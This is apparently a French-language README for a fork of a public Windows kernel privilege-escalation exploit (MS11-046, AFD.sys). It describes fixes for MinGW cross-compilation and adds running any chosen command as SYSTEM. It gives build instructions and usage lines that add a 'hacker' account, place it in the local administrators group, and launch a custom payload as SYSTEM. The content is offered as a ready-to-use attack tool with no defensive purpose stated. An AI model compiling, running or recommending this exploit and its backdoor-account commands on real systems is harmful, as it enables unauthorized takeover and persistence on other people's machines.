
CVE-2011-1249 (MS11-046) élévation de privilèges AFD — correctif de compilation croisée MinGW + prise en charge des commandes personnalisées
CVE-2011-1249 / MS11-046 — Élévation de privilèges AFD.sys pour Windows x86.
Exploit original de Tomislav Paskalev (EDB-40564). Ce fork corrige les erreurs de compilation croisée MinGW et ajoute l'exécution de commandes personnalisées via argv[1].
| # | Modification | Raison |
|---|---|---|
| 1 | FARPROC ZwQuerySystemInformation → pointeur de fonction typé (pZwQuerySystemInformation) | Le contrôle de type strict de MinGW refuse d'appeler un FARPROC sans paramètres avec des arguments — la compilation échoue avec too many arguments to function |
| 2 | Tableaux securityPatches[] marqués static | Les tableaux déclarés dans des blocs if/else sont alloués sur la pile et sortent de portée ; sans static, les pointeurs deviennent invalides |
| 3 | Commande personnalisée via argv[1] | Exécute n'importe quelle commande en tant que SYSTEM au lieu du cmd.exe codé en dur |
La compilation de l'original avec MinGW échoue :
ms11-046.c: error: too many arguments to function 'ZwQuerySystemInformation'; expected 0, have 4
FARPROC est un pointeur de fonction générique déclaré sans paramètres. MinGW applique un contrôle de type strict et refuse de l'appeler avec des arguments. La correction consiste à utiliser un pointeur de fonction typé avec la signature appropriée.
Des binaires pré-compilés existent (par ex. SecWiki/windows-kernel-exploits) mais ils ne prennent pas en charge les commandes personnalisées.
sudo apt install mingw-w64
i686-w64-mingw32-gcc ms11-046.c -o ms11-046.exe -lws2_32
ms11-046.exe # default: spawns cmd.exe as SYSTEM
ms11-046.exe "net user hacker Pass123! /add" # add a user as SYSTEM
ms11-046.exe "net localgroup administrators hacker /add" # add to local admins
ms11-046.exe "c:\windows\temp\shell.exe" # run a custom payload as SYSTEM